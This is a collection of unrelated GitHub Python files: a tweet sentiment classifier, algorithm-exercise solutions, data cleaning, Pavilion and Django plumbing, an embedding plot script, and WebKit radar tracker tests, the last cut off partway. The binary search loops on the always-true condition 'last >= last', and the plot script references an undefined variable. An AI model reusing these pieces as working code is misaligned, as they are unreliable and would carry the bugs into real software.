+{"seq_id":"27049169143","text":"from nltk.corpus import twitter_samples\nfrom nltk.tag import pos_tag\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk import NaiveBayesClassifier\nimport re, string\nfrom nltk.corpus import stopwords\nimport random\nfrom nltk.tokenize import word_tokenize\n\n# removing noise using regex\n\ndef remove_noise(tweet_tokens, stop_words=stopwords.words('english')):\n\n    cleaned_tokens = []\n\n    for token, tag in pos_tag(tweet_tokens):\n\n        #original_re = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+#]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\n        my_re = 'http[s]?:\\/\\/(\\S|(%[0-9a-fA-F][0-9a-fA-F]))+'\n\n        token = re.sub(my_re, \"\", token)\n        token = re.sub(\"(@[A-Za-z_]+)\", \"\", token)\n    \n        if tag.startswith('NN'):\n            pos = 'n'\n        elif tag.startswith('VB'):\n            pos = 'v'\n        else:\n            pos = 'a'\n\n        lemmatizer = WordNetLemmatizer()\n        token = lemmatizer.lemmatize(token, pos)\n\n        if len(token) > 0 and token not in string.punctuation and token.lower() not in stop_words:\n            cleaned_tokens.append(token.lower())\n\n    return cleaned_tokens\n\n'''\ndef get_all_words(cleaned_tokens_list):\n    for tokens in cleaned_tokens_list:\n        for token in tokens:\n            yield token\n'''\n\n\ndef get_tweets_for_model(cleaned_tokens_list):\n    for tweet_tokens in cleaned_tokens_list:\n        yield dict([token, True] for token in tweet_tokens)\n\n# input: list of tweet texts\n# - tokenizes tweets\n# - removes noise\n# - casts each token into a dict {token: True} to prepare it for the model\n# - \ndef classifier():\n\n    positive_tweets = twitter_samples.tokenized(\"positive_tweets.json\")\n    negative_tweets = twitter_samples.tokenized(\"negative_tweets.json\")\n\n    positive_cleaned_tokens_list = []\n    negative_cleaned_tokens_list = []\n\n    for tokens in positive_tweets:\n        positive_cleaned_tokens_list.append(remove_noise(tokens))\n\n    for tokens in negative_tweets:\n        negative_cleaned_tokens_list.append(remove_noise(tokens))\n\n    '''\n    all_pos = get_all_words(positive_cleaned_tokens_list)\n    all_neg = get_all_words(negative_cleaned_tokens_list)\n\n    #req_dist_pos = FreqDist(all_pos)\n    freq_dist_neg = FreqDist(all_neg)\n    '''\n\n    pos_tokens_model = get_tweets_for_model(positive_cleaned_tokens_list)\n    neg_tokens_model = get_tweets_for_model(negative_cleaned_tokens_list)\n\n    # splitting into training and testing sets\n\n    pos_dataset = [(tweet_dict, \"Positive\") for tweet_dict in pos_tokens_model]\n    neg_dataset = [(tweet_dict, \"Negative\") for tweet_dict in neg_tokens_model]\n\n    dataset = pos_dataset + neg_dataset\n\n    random.shuffle(dataset)\n\n    train_data = dataset[:7000]\n\n    # building and training a model\n\n    classifier = NaiveBayesClassifier.train(train_data)\n\n    return classifier\n\ndef prepare_tweet(tweet):\n    tokens = word_tokenize(tweet)\n    clean_tokens = remove_noise(tokens)\n    return dict([token, True] for token in clean_tokens)\n\n\n# testing stuff\nif __name__ == '__main__':\n\n    classifier = classifier()\n    tweet = \"Fuck that stupid piece of shit company, never using them again.\"\n    print(classifier.classify(prepare_tweet(tweet)))","repo_name":"ericsson-c/sentiment-analyzer","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18283053702","text":"'''\nAuthor: fghpdf\nDate: 2022-02-04 09:16:45\nLastEditTime: 2022-02-04 09:29:02\nLastEditors: fghpdf\n'''\nimport collections\nfrom typing import List\nimport unittest\n\nclass Solution:\n    def getFood(self, grid: List[List[str]]) -> int:\n        if len(grid) == 0 or len(grid[0]) == 0:\n            return -1\n\n        rowLen = len(grid)\n        colLen = len(grid[0])\n        dirs = [(1,0),(0,-1),(-1,0),(0,1)]\n\n        q = collections.deque()\n        # find the start point\n        for row in range(rowLen):\n          for col in range(colLen):\n            if grid[row][col] == \"*\":\n              q.append((row, col, 0))\n              break\n\n        # BFS\n        while q:\n          row, col, step = q.popleft()\n          for y, x in dirs:\n            newRow = y + row\n            newCol = x + col\n            # check edge\n            if newRow >= 0 and newRow < rowLen and newCol >= 0 and newCol < colLen and grid[newRow][newCol] in ('#', 'O'):\n              # found food\n              if grid[newRow][newCol] == '#':\n                return step+1\n              # visited\n              grid[newRow][newCol] = '|'\n              q.append((newRow, newCol, step+1))\n        return -1\n              \n\nclass TestSolution(unittest.TestCase):\n    def testGetFood(self):\n        sol = Solution()\n        self.assertEqual(sol.getFood([[\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],[\"X\",\"*\",\"O\",\"O\",\"O\",\"X\"],[\"X\",\"O\",\"O\",\"#\",\"O\",\"X\"],[\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"]]), 3)\n        self.assertEqual(sol.getFood([[\"X\",\"X\",\"X\",\"X\",\"X\"],[\"X\",\"*\",\"X\",\"O\",\"X\"],[\"X\",\"O\",\"X\",\"#\",\"X\"],[\"X\",\"X\",\"X\",\"X\",\"X\"]]), -1)\n        self.assertEqual(sol.getFood([[\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],[\"X\",\"*\",\"O\",\"X\",\"O\",\"#\",\"O\",\"X\"],[\"X\",\"O\",\"O\",\"X\",\"O\",\"O\",\"X\",\"X\"],[\"X\",\"O\",\"O\",\"O\",\"O\",\"#\",\"O\",\"X\"],[\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"]]), 6)\n\nif __name__ == '__main__':\n    unittest.main()","repo_name":"fghpdf/leetcode","sub_path":"py/shortest_path_to_get_food/shortest_path_to_get_food.py","file_name":"shortest_path_to_get_food.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"4872357219","text":"import pandas as pd\nimport numpy as np\n\npd.set_option('display.max_rows', None)\npd.set_option('display.max_columns', None)\ndf = pd.read_csv(\"../im/Average_daily_airQualityInfo_2018.csv\", engine='python')\ndf.rename(columns={\"측정일자\": \"cdate\", \"권역코드\": \"acode\", \"권역명\": \"aname\", \"측정소코드\": \"scode\",\n                   \"측정소명\": \"sname\", \"미세먼지(㎍/㎥)\": \"fdust\", \"초미세먼지(㎍/㎥)\": \"ufdust\",\n                   \"오존(ppm)\": \"ozone\", \"이산화질소농도(ppm)\": \"nd\", \"일산화탄소농도(ppm)\": \"cm\", \"아황산가스농도(ppm)\": \"sagas\"},\n          inplace=True)\n# print(df.columns)\n\ncleaning_filter = ((df['fdust'] == 0) & (df['ufdust'] == 0) & (df['ozone'] == 0) & (\n        df['nd'] == 0) & (df['cm'] == 0) & (df['sagas'] == 0))\n# cleaning_df = cleaning_df.drop(cleaning_df.index)\ncleaning_df = df[cleaning_filter]\ncleaning_df = df.drop(cleaning_df.index)\n# df_delete = df[df.fdust != 0]\n# print(df_delete)\ncleaning_df.to_csv(\"data1.csv\", encoding='ms949', index=False)\n\n\"\"\"\ndef read_data(file):\n    f = open(file, 'r')\n    data = csv.reader(f)\n    for line in data:\n        print(line)\n    return data\n\"\"\"\n","repo_name":"thoonk/DataScience","sub_path":"assignment1_regression/assignment1_dataCleaning.py","file_name":"assignment1_dataCleaning.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"15951079258","text":"#!/bin/python3\n\nimport sys\n\n\nn = int(input().strip())\nheight = [int(height_temp) for height_temp in input().strip().split(' ')]\n\nmaximum = max(height)\ncount = 0\n\nfor m in height:\n    if m == maximum:\n        count += 1\n\nprint(count)\n","repo_name":"tkhwang/tkhwang-algorithm","sub_path":"__others/hacker-rank/algorithm/warm/birthday-cake-candles.py","file_name":"birthday-cake-candles.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"11577147411","text":"\"\"\"\"Base classes and methods for Command plugins\"\"\"\n\n# pylint: disable=W0603\n\nimport argparse\nimport errno\nimport inspect\nimport io\nimport logging\nimport sys\nfrom typing import List\n\nfrom pavilion import arguments\nfrom pavilion import output\nfrom yapsy import IPlugin\n\n_COMMANDS = {}\n\n\ndef __reset():\n    \"\"\"Reset the command plugins. This is only to be used as part of\n    unittests.\"\"\"\n\n    global _COMMANDS\n\n    _COMMANDS = {}\n\n    arguments.reset_parser()\n\n\ndef add_command(command):\n    \"\"\"Add the given command instance to the dictionary of commands.\n\n:param Command command: The command object to add\n\"\"\"\n\n    global _COMMANDS\n\n    for name in command.aliases:\n        if name not in _COMMANDS:\n            _COMMANDS[name] = command\n        else:\n            raise RuntimeError(\n                \"Multiple commands of the same name are not allowed to exist. \"\n                \"command.{c1.name} found at both {c1.path} and {c2.path}.\"\n                .format(c1=_COMMANDS[name], c2=command))\n\n\ndef cmd_tracker():\n    \"\"\"Return the command tracking object.\"\"\"\n\n    # We can't just import this - it gets pointed at different objects over time.\n    return _COMMANDS\n\n\nclass Command(IPlugin.IPlugin):\n    \"\"\"Provides a pavilion command via a plugin.\n\n    :ivar argparse.ArgumentParser parser: The plugin's argument parser object.\n    \"\"\"\n\n    def __init__(self, name, description, short_help=None, aliases=None,\n                 sub_commands=False, formatter_class=None):\n        \"\"\"Initialize this command. This should be overridden by subclasses, to\n        set reasonable values. Multiple commands of the same name are not\n        allowed to exist.\n\n        :param name: The name of this command. Will be used as the subcommand\n            name.\n        :param str description: The full description and help header for this\n            command. Displayed with 'pav <cmd> --help'.\n        :param str short_help: A short description of the command displayed\n            when doing a 'pav --help'. If this is None, the command won't\n            be listed.\n        :param list aliases: A list of aliases for the command.\n        :param bool sub_commands: Enable the standardized way of adding sub\n            commands.\n        \"\"\"\n        super().__init__()\n\n        if aliases is None:\n            aliases = []\n\n        aliases = [name] + aliases.copy()\n\n        self.logger = logging.getLogger('command.' + name)\n        self.name = name\n        self.file = inspect.getfile(self.__class__)\n        self.description = description\n        self.short_help = short_help\n        self.aliases = aliases\n        self.formatter_class = formatter_class\n\n        # These are to allow tests to redirect output as needed.\n        self.outfile = sys.stdout\n        self.errfile = sys.stderr\n\n        self.sub_cmds = {}\n        if sub_commands:\n            self._inventory_sub_commands()\n\n        self._parser = None\n\n        # This is used primarily by the run command,\n        self.last_series = None\n        self.last_tests = []  # type: List\n\n    def _inventory_sub_commands(self):\n        \"\"\"Find all the sub commands and populate the sub_cmds dict.\"\"\"\n\n        # Walk the class dictionary and add any functions with aliases\n        # to our dict of commands under each listed alias.\n        for func in self.__class__.__dict__.values():\n\n            # Add alias names\n            if callable(func) and hasattr(func, 'aliases'):\n                # Add the name from the function.\n                name = func.__name__\n                if name.endswith('_cmd'):\n                    name = name[:-4]\n                name = name.lstrip('_')\n                self.sub_cmds[name] = func\n\n                for alias in func.aliases:\n                    self.sub_cmds[alias] = func\n\n    def _setup_arguments(self, parser):\n        \"\"\"Setup the commands arguments in the Pavilion argument parser. This\nis handed a pre-created sub-command parser for this command. Simply\nadd arguments to it like you would a base parser. ::\n\n    parser.add_arguemnt('-x', '--extra',\n                        action='store_true',\n                        help=\"Add extra stuff.\")\n\n:param argparse.ArgumentParser parser: The parser object.\n\"\"\"\n\n    def _setup_other(self):\n        \"\"\"Additional setup actions for this command at activation time.\n        The base version of this does nothing..\"\"\"\n\n    def activate(self):\n        \"\"\"The Yapsy plugin system calls this to setup the plugin. In this\ncase that includes:\n\n- Adding the command's sub-command arguments to the general pavilion argument\n  parser.\n- Running the _setup_other method.\n- Adding the command to Pavilion's known commands.\n\"\"\"\n\n        # Add the arguments for this command to the\n        sub_parser = arguments.get_subparser()\n\n        # Add the short help, or not. A quirk of argparse is that if 'help'\n        # is set, the subcommand is listed regardless of whether the\n        # help is None. If we don't want that, we have to init without 'help'.\n        if self.short_help is not None and self.formatter_class is not None:\n            parser = sub_parser.add_parser(self.name,\n                                           aliases=self.aliases,\n                                           description=self.description,\n                                           help=self.short_help,\n                                           formatter_class=self.formatter_class)\n\n        elif self.short_help is None and self.formatter_class is not None:\n            parser = sub_parser.add_parser(self.name,\n                                           aliases=self.aliases,\n                                           description=self.description,\n                                           formatter_class=self.formatter_class)\n\n        elif self.short_help is not None and self.formatter_class is None:\n            parser = sub_parser.add_parser(self.name,\n                                           aliases=self.aliases,\n                                           description=self.description,\n                                           help=self.short_help)\n        else:\n            parser = sub_parser.add_parser(self.name,\n                                           aliases=self.aliases,\n                                           description=self.description)\n\n        # Save the argument parser, as it can come in handy.\n        self._parser = parser\n\n        self._setup_arguments(parser)\n\n        self._setup_other()\n\n        add_command(self)\n\n    def deactivate(self):\n        \"\"\"You can't deactivate commands.\"\"\"\n        raise RuntimeError(\"Command plugins cannot be deactivated.\")\n\n    def run(self, pav_cfg, args):\n        \"\"\"Override this method with your command's code.\n\n:param pav_cfg: The pavilion configuration object.\n:param argparse.Namespace args: The parsed arguments for pavilion.\n:return: The return code of the command should denote success (0) or\n    failure (not 0).\n\"\"\"\n        raise NotImplementedError(\n            \"Command plugins must override the 'run' method.\")\n\n    def _run_sub_command(self, pav_cfg, args):\n        \"\"\"Find and run the subcommand.\"\"\"\n\n        cmd_name = args.sub_cmd\n\n        if cmd_name is None:\n            output.fprint(self.errfile, \"You must provide a sub command.\",\n                          color=output.RED)\n            self._parser.print_help(file=self.errfile)\n            return errno.EINVAL\n\n        if cmd_name not in self.sub_cmds:\n            raise RuntimeError(\"Invalid sub-cmd '{}'\".format(cmd_name))\n\n        cmd_result = self.sub_cmds[cmd_name](self, pav_cfg, args)\n        return 0 if cmd_result is None else cmd_result\n\n    def __repr__(self):\n        return '<{} from file {} named {}>'.format(\n            self.__class__.__name__,\n            self.file,\n            self.name\n        )\n\n    def silence(self):\n        \"\"\"Convert the command to use string IO for its output and error\n        output.\"\"\"\n        self.outfile = io.StringIO()\n        self.errfile = io.StringIO()\n\n    def clear_output(self):\n        \"\"\"Reset the output io buffers for this command.\"\"\"\n\n        if not isinstance(self.outfile, io.StringIO):\n            raise RuntimeError(\"Only silenced commands can be cleared.\")\n\n        self.outfile.seek(0)\n        data = self.outfile.read()\n        self.outfile.seek(0)\n        self.outfile.truncate(0)\n\n        self.errfile.seek(0)\n        err_data = self.errfile.read()\n        self.errfile.seek(0)\n        self.errfile.truncate(0)\n\n        return data, err_data\n\n    @property\n    def path(self):\n        \"\"\"The path to the object that defined this instance.\"\"\"\n\n        return inspect.getfile(self.__class__)\n\n\ndef sub_cmd(*aliases):\n    \"\"\"Tag this given function as a sub_cmd, and record its aliases.\"\"\"\n\n    def tag_aliases(func):\n        \"\"\"Attach all the aliases to the given function, but return the\n        function itself. The function name, absent leading underscores and\n        without a trailing '_cmd', is added by default.\"\"\"\n        name = func.__name__\n\n        while name.startswith('_'):\n            name = name[1:]\n\n        if name.endswith('_cmd'):\n            name = name[:-4]\n\n        func.aliases = [name]\n        for alias in aliases:\n            func.aliases.append(alias)\n\n        return func\n\n    return tag_aliases\n","repo_name":"hpc/pavilion2","sub_path":"lib/pavilion/commands/base_classes.py","file_name":"base_classes.py","file_ext":"py","file_size_in_byte":9259,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"3"}
+{"seq_id":"374532034","text":"from django.urls import path\n\nfrom . import views\n\n\nurlpatterns = [\n    path('', views.index, name='index'),\n    path(\"recipe/<username>/\", views.profile, name='profile'),\n    path('new-recipe', views.new_recipe, name='new_recipe'),\n    path(\n        'recipe/<int:recipe_id>/edit',\n        views.recipe_edit,\n        name='recipe_edit'\n    ),\n    path(\n        'recipe/<int:recipe_id>/delete',\n        views.recipe_delete,\n        name='recipe_delete'\n    ),\n    path(\n        'recipe/<username>/<int:recipe_id>/',\n        views.recipe_view,\n        name='recipe_view'\n    ),\n    path(\"follow/<username>/\", views.follow, name='follow'),\n    path('followrecipe/<username>/', views.follow_recipe, name='followrecipe'),\n    path('shopping-list/', views.shopping_list, name='shopping-list'),\n    path('download', views.download, name='download'),\n]\n","repo_name":"popperony/foodgram-project","sub_path":"foodgram/recipe/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26418533682","text":"\"\"\" a module with multiple binary search object definitions\"\"\"\n\n\nclass BinarySearchBase:\n    def __init__(self, array, value) -> None:\n        self.array = array\n        self.value = value\n\n    def simple_binary_search(self):\n\n        \"\"\"take a list and a value, search for the value in the list\n        and return its index if found\"\"\"\n\n        first = 0\n        last = len(self.array) - 1\n\n        while last >= last:\n            mid = (last + first) // 2\n            fetched_val = self.array[mid]\n\n            if fetched_val == self.value:\n                return mid\n            elif fetched_val > self.value:\n                last = mid - 1\n            else:\n                first = mid + 1\n        print(f\"didn't find the given value\")\n        return None\n","repo_name":"pyerbiz/make_a_developer","sub_path":"algorithms/grokking_algorithms/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72102725523","text":"#imports\nimport seaborn as sns, numpy as np\nfrom numpy.linalg import norm\nimport matplotlib.pyplot as plt\nfrom pylab import *\nimport sys\n\n#loading the learned embeddings\ntrain_emb = np.loadtxt('../embeddings/train_emb_triplet')\ntrain_lab = np.loadtxt('../embeddings/train_lab_triplet')\nval_emb = np.loadtxt('../embeddings/val_emb_triplet')\nval_lab = np.loadtxt('../embeddings/val_lab_triplet')\ntest_emb = np.loadtxt('../embeddings/test_emb_triplet')\ntest_lab = np.loadtxt('../embeddings/test_lab_triplet')\n\n#Distance Plots\ndistance_to_ = []\nfor i in range(0,test_emb.shape[0]):\n  sublist = []\n  for j in range(0,test_emb.shape[0]):\n    labels = tuple([int(test_lab[i]),int(test_lab[j])])\n    sublist.append(tuple([norm(test_emb[i]-test_emb[j]),labels]))\n    #sublist.sort()\n  distance_to_.append(sublist)\n\n # List of distances between Sentinel (anchor) and Naip (pos,neg)\n # Plotting anchor, positive and negative distances\n\nx_neg = []\nx_pos = []\nx_arr_neg = np.asarray([0]*len(test_dataset))\nx_arr_pos = np.asarray([0]*len(test_dataset))\nx_arr_neg_list = []\nx_arr_pos_list = []\nx_arr_labels_list = []\nx_arr_labels_list_n = []\n\nfor i in range(0,int(len(distance_to_)/2)):\n  x_n_ = []\n  x_p_ = []\n  x_p_labels = []\n  x_n_labels = []\n  x_n_labels_raw = []\n  for j in range(0,int(len(distance_to_)/2)):\n    if distance_to_[i*2+1][j*2][1][1] == i:\n      x_p_.append(distance_to_[i*2+1][j*2][0])\n      x_p_labels.append(i)\n    else:\n      x_n_.append(distance_to_[i*2+1][j*2][0])\n      x_n_labels.append((i*2+1,j*2))\n      x_n_labels_raw.append((i,j))\n  x_arr_neg_ = np.asarray(x_n_)\n  x_arr_pos_ = np.asarray(x_p_)\n  x_arr_neg_list.append(x_arr_neg_)\n  #x_arr_pos = x_arr_pos + x_arr_pos_\n  x_arr_pos_list.append(x_arr_pos_)\n  x_arr_labels_list.append(x_p_labels)\n  x_arr_labels_list_n.append(x_n_labels_raw)\n  x_mean_neg = np.mean(x_arr_neg, axis=0)\n  x_mean_pos = np.mean(x_arr_pos, axis=0)\n  x_std_neg = np.std(x_arr_neg, axis=0)\n  x_std_pos = np.std(x_arr_pos, axis=0)\n\nsns.set()\nx = x_arr_neg_list\nx_2 =  x_arr_pos_list\nax = sns.distplot(x,label=\"different location\")\nax = sns.distplot(x_2,label=\"same location\")\nax.set(xlabel='Distance', ylabel='Distribution')\nplt.title(\"Distance between locations\")\nplt.legend()\nplt.show()\n\n#Distance of all Embeddings\n\nx = [] #distances from Sentinel to all Naip embeddings as list\nx_same = [] #distances Sentinel to Naip for same location\nfor i in range(0,int(len(distance_to_)/2)):\n  x_ = []\n  x_same_=[]\n  for j in range(0,int(len(distance_to_)/2)):\n    x_.append(distance_to_[i*2+1][j*2][0]) #distance from Sentinel to naip\n    if distance_to_[i*2+1][j*2][1][1] == i:\n      x_same_.append(distance_to_[i*2+1][j*2][0])\n  x.append(x_)\n  x_same.append(x_same_)\n\ndistances_to_plot = [0,1,2,3,4,5,6,7,8]\nclasses = int(len(distance_to_)/2)\ny = list(range(0, int(len(distance_to_)/2)))\n\nfig = plt.figure(figsize=(30,15))\nsubplots_adjust(hspace=1.000)\nnumber_of_subplots=len(distances_to_plot)\n\nfig, axs = plt.subplots(len(distances_to_plot), 1, constrained_layout=True,sharex=True)\naxs = axs.ravel()\nfor i in range(0,len(distances_to_plot)):\n  y = [distances_to_plot[i]]*classes\n  axs[i].scatter(x[distances_to_plot[i]],y,label=\"negative images\")\n  #axs[i].scatter(x[distances_to_plot[i]],y, label='Distance between images of different locations')\n  #axs[i].set_xlabel('Distance between images of different locations')\n  axs[i].set_ylabel(str(distances_to_plot[i]))\n  axs[i].plot(x_same[distances_to_plot[i]][0],distances_to_plot[i],'ro',markersize=10,label=\"positive images\")\n  axs[i].set_yticklabels([])\n  #legend(loc=\"upper right\")\n#handles, labels = ax.get_legend_handles_labels()\n#fig.legend(handles, labels, loc='right')\nfig.suptitle('Distances between anchor (Sentinel images) to positive/negative (NAIP images)', fontsize=10)\nplt.xlabel('Distance between images of different locations')\n#fig.labels()\n#plt.ylabel('Location of Anchor image')\nplt.show()\n","repo_name":"climate-ai/truebranch","sub_path":"Metric_learning/embed_visualisation.py","file_name":"embed_visualisation.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"11344475696","text":"import json\nimport unittest\n\nfrom webkitbugspy import Issue, Tracker, User, radar, mocks\nfrom webkitcorepy import mocks as wkmocks, OutputCapture\n\n\nclass TestRadar(unittest.TestCase):\n    def test_encoding(self):\n        self.assertEqual(\n            radar.Tracker.Encoder().default(radar.Tracker(project='WebKit')),\n            dict(hide_title=True, type='radar', projects=['WebKit']),\n        )\n\n    def test_decoding(self):\n        decoded = Tracker.from_json(json.dumps(radar.Tracker(), cls=Tracker.Encoder))\n        self.assertIsInstance(decoded, radar.Tracker)\n        self.assertEqual(decoded.from_string('rdar://1234').id, 1234)\n\n    def test_no_radar(self):\n        with mocks.NoRadar():\n            tracker = radar.Tracker()\n            self.assertIsNone(tracker.library)\n            self.assertIsNone(tracker.client)\n\n    def test_users(self):\n        with mocks.Radar(users=mocks.USERS):\n            tracker = radar.Tracker()\n            self.assertEqual(\n                User.Encoder().default(tracker.user(username=504)),\n                dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n            )\n            self.assertEqual(\n                User.Encoder().default(tracker.user(email='tcontributor@example.com')),\n                dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n            )\n            self.assertEqual(\n                User.Encoder().default(tracker.user(name='Felix Filer')),\n                dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n            )\n            self.assertEqual(\n                User.Encoder().default(tracker.user(name='Olivia Outsider', email='ooutsider@example.com')),\n                dict(name='Olivia Outsider', emails=['ooutsider@example.com']),\n            )\n\n    def test_link(self):\n        with mocks.Radar(users=mocks.USERS):\n            tracker = radar.Tracker()\n            self.assertEqual(tracker.issue(1234).link, 'rdar://1234')\n            self.assertEqual(\n                tracker.from_string('<rdar://problem/1234>').link,\n                'rdar://1234',\n            )\n            self.assertEqual(\n                tracker.from_string('<radar://1234>').link,\n                'rdar://1234',\n            )\n            self.assertEqual(\n                tracker.from_string('<radar://problem/1234>').link,\n                'rdar://1234',\n            )\n\n    def test_title(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            tracker = radar.Tracker()\n            self.assertEqual(tracker.issue(1).title, 'Example issue 1')\n            self.assertEqual(str(tracker.issue(1)), 'rdar://1 Example issue 1')\n\n    def test_timestamp(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            self.assertEqual(radar.Tracker().issue(1).timestamp, 1639510960)\n\n    def test_creator(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            self.assertEqual(\n                User.Encoder().default(radar.Tracker().issue(1).creator),\n                dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n            )\n\n    def test_description(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            self.assertEqual(\n                radar.Tracker().issue(1).description,\n                'An example issue for testing',\n            )\n\n    def test_assignee(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            self.assertEqual(\n                User.Encoder().default(radar.Tracker().issue(1).assignee),\n                dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n            )\n\n    def test_comments(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            comments = radar.Tracker().issue(1).comments\n            self.assertEqual(len(comments), 2)\n            self.assertEqual(comments[0].timestamp, 1639511020)\n            self.assertEqual(comments[0].content, 'Was able to reproduce on version 1.2.3')\n            self.assertEqual(\n                User.Encoder().default(comments[0].user),\n                dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n            )\n\n    def test_watchers(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            self.assertEqual(\n                User.Encoder().default(radar.Tracker().issue(1).watchers), [\n                    dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n                    dict(name='Wilma Watcher', username=46, emails=['wwatcher@example.com']),\n                ],\n            )\n\n    def test_references(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            tracker = radar.Tracker()\n            self.assertEqual(tracker.issue(1).references, [])\n            self.assertEqual(tracker.issue(2).references, [tracker.issue(3)])\n            self.assertEqual(tracker.issue(3).references, [tracker.issue(2)])\n\n    def test_reference_parse(self):\n        with wkmocks.Environment(RADAR_USERNAME='wwatcher'), mocks.Radar(issues=mocks.ISSUES) as mock:\n            tracker = radar.Tracker()\n            tracker.issue(1).add_comment('Is this related to <rdar://2> ?')\n            self.assertEqual(tracker.issue(1).references, [tracker.issue(2)])\n\n    def test_me(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n            self.assertEqual(\n                User.Encoder().default(radar.Tracker().me()),\n                dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n            )\n\n    def test_add_comment(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n            issue = radar.Tracker().issue(1)\n            self.assertEqual(len(issue.comments), 2)\n\n            comment = issue.add_comment('Automated comment')\n            self.assertEqual(comment.content, 'Automated comment')\n            self.assertEqual(\n                User.Encoder().default(comment.user),\n                User.Encoder().default(radar.Tracker().me()),\n            )\n\n            self.assertEqual(len(issue.comments), 3)\n            self.assertEqual(len(radar.Tracker().issue(1).comments), 3)\n\n    def test_assign(self):\n        with wkmocks.Environment(RADAR_USERNAME='ffiler'), mocks.Radar(issues=mocks.ISSUES):\n            issue = radar.Tracker().issue(1)\n            self.assertEqual(\n                User.Encoder().default(issue.assignee),\n                dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n            )\n            issue.assign(radar.Tracker().me())\n            self.assertEqual(\n                User.Encoder().default(issue.assignee),\n                dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n            )\n\n            issue = radar.Tracker().issue(1)\n            self.assertEqual(\n                User.Encoder().default(issue.assignee),\n                dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n            )\n\n    def test_assign_why(self):\n        with wkmocks.Environment(RADAR_USERNAME='ffiler'), mocks.Radar(issues=mocks.ISSUES):\n            issue = radar.Tracker().issue(1)\n            self.assertEqual(\n                User.Encoder().default(issue.assignee),\n                dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n            )\n            issue.assign(radar.Tracker().me(), why='Let me provide a better reproduction')\n            self.assertEqual(\n                User.Encoder().default(issue.assignee),\n                dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n            )\n            self.assertEqual(issue.comments[-1].content, 'Let me provide a better reproduction')\n\n    def test_state(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n            issue = radar.Tracker().issue(1)\n            self.assertTrue(issue.opened)\n            self.assertFalse(issue.open())\n            self.assertTrue(issue.close())\n            self.assertFalse(issue.opened)\n\n            issue = radar.Tracker().issue(1)\n            self.assertFalse(issue.opened)\n            self.assertFalse(issue.close())\n            self.assertTrue(issue.open())\n            self.assertTrue(issue.opened)\n\n    def test_state_why(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n            issue = radar.Tracker().issue(1)\n            self.assertTrue(issue.opened)\n            self.assertTrue(issue.close(why='Fixed in 1234@main'))\n            self.assertFalse(issue.opened)\n            self.assertEqual(issue.comments[-1].content, 'Fixed in 1234@main')\n\n            issue = radar.Tracker().issue(1)\n            self.assertFalse(issue.opened)\n            self.assertTrue(issue.open(why='Need to revert, fix broke the build'))\n            self.assertTrue(issue.opened)\n            self.assertEqual(issue.comments[-1].content, 'Need to revert, fix broke the build')\n\n    def test_duplicate(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n            tracker = radar.Tracker()\n            issue = tracker.issue(1)\n            self.assertTrue(issue.opened)\n            self.assertTrue(issue.close(original=tracker.issue(2)))\n            self.assertFalse(issue.opened)\n            self.assertEqual(issue.original, tracker.issue(2))\n\n            self.assertEqual(tracker.issue(1).original, tracker.issue(2))\n\n    def test_projects(self):\n        with mocks.Radar(projects=mocks.PROJECTS):\n            self.assertDictEqual(\n                dict(\n                    WebKit=dict(\n                        description=None,\n                        versions=[],\n                        components=dict(\n                            Scrolling=dict(\n                                versions=['Other', 'Safari 15', 'Safari 